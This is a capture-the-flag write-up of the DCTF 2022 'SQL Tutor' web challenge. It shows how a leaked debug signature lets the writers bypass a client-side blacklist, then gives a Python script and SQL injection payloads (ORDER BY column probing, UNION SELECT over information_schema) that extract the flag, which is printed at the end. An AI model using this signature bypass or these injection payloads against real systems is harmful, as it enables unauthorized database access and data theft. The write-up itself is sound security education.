SQL Tutor challenge writeup
DCTF 2022 was held from the 15th of April Until the 17th of the month , and we have participated under the team 0xcha0s, we have managed to solve multiple challenges. this challenge was ranked easy.
CTF name | DCTF 2022 |
challenge | SQL Tutor |
category | web |
about | SQL injection |
description | I found this awesome site for learning SQL. Check it out! |
points | 200 |
team | 0xCha0s |
solved By | 0xMesbaha and itsFading |
Discovery
we are introduced with this page which execute fixed SQL statements and take one input to fill the ...
in the query
However it wasn’t that easy , there are some filters for special characters like [ ' " `]
and for some words like UNION
Enumeration
Intercepting the request with Burpsuite to see what is going on , we can see the following :
POST /verify_and_sign_text HTTP/1.1
Host: sqltutor.dragonsec.si
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 22
Origin: https://sqltutor.dragonsec.si
Te: trailers
Connection: close
text=dGVzdG1l&alg=sha1
the text we sent has base64 encoded , and other argument is sent alg
, sending this request to the repeater and view the response body we can see:
{
"status": "ok",
"trimmedText": "dGVzdG1l",
"signature": "f26039ef86a8c1218019b40e636d66ecfb45324a",
"debug": null
}
it return status ok , if we have changed the text being sent to a text contain one of the Blacklisted characters we will got another response body :
{
"status": "error",
"message": "Dangerous strings:[ ' ] in text!",
"debug": null
}
Great , Forwarding the request , we can see another request is issued :
POST /execute HTTP/2
Host: sqltutor.dragonsec.si
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://sqltutor.dragonsec.si
Te: trailers
text=dGVzdG1l&signature=f26039ef86a8c1218019b40e636d66ecfb45324a&queryNo=0
and this request will be issued only if the first request passed returns status:ok
, sending the latest request to the repeater to view the response we can see response body as :
{
"status": "ok",
"query": "SELECT * FROM users WHERE users.name='testme'",
"results": [],
"description": "This query selects all users with the name 'testme'.",
"debug": null
}
and we can see "debug:null"
, we can try to add it as a parameter in the /execute
request and will have the following results
we know now the steps it passed through before the execution , so we know that :
2 requests are issued :
1st one make sure the text doesn't contain a blacklisted element "the check is at the client side"
2nd one will decode the text form base64 , verify the signature and then execute the query
we can skip the first request easily and focus on the 2nd request , providing the debug
parameter to know the tests we failed or passed
if we try to change the base64 encoded text in the request the old signature will not work
and thanks to the debug
parameter we know what value should this signature be , so basically we need to issue the request 2 times one to get the valid signature and the other to send the payload associated with the valid signature
Exploitation
we can automate the process to save the time and for efficiency , Let’s Build the script :
- sending the request for the 1st time to extract the signature value :
#!/usr/bin/python3
import requests
import base64
url= "https://sqltutor.dragonsec.si/execute"
payload ="""testme """.encode('utf-8')
encoded=base64.b64encode(payload).decode('utf-8')
data = {
"text":encoded,
"signature":"dummy",
"queryNo":"0",
"debug":"true"
}
r1= requests.post(url,data=data)
print(r1.text)
we will extract the signature value then update the signature parameter in the next request
resp=r1.text
signature= resp.split('"compare":"')[1][0:40]
data["signature"]=signature
r2= requests.post(url,data=data)
print(r2.text)
Great the signature is okay and the query is executed , now we are ready to inject our text in the statement to be executed
From the debug output the query is :
SELECT * FROM users WHERE users.name='test'
we need to know number of columns first , update the payload variable :
payload ="""a' order by 8-- """.encode('utf-8')
keep fuzzing downwards until
payload ="""a' order by 4-- """.encode('utf-8')
we know it has 4 columns , now let’s enumerate the tables names :
payload ="""a' UNION SELECT 1,2,3,table_name FROM information_schema.tables--""".encode('utf-8')
and we got this huge output :
Beautifying the output , we can notice the flags
table :
- Let’s update our payload :
payload ="""a' UNION SELECT 1,2,3,flag FROM flags-- """.encode('utf-8')
and finally the flag is here
dctf{Pump_7h3_s7r3am_h4s5_up!_353aa965}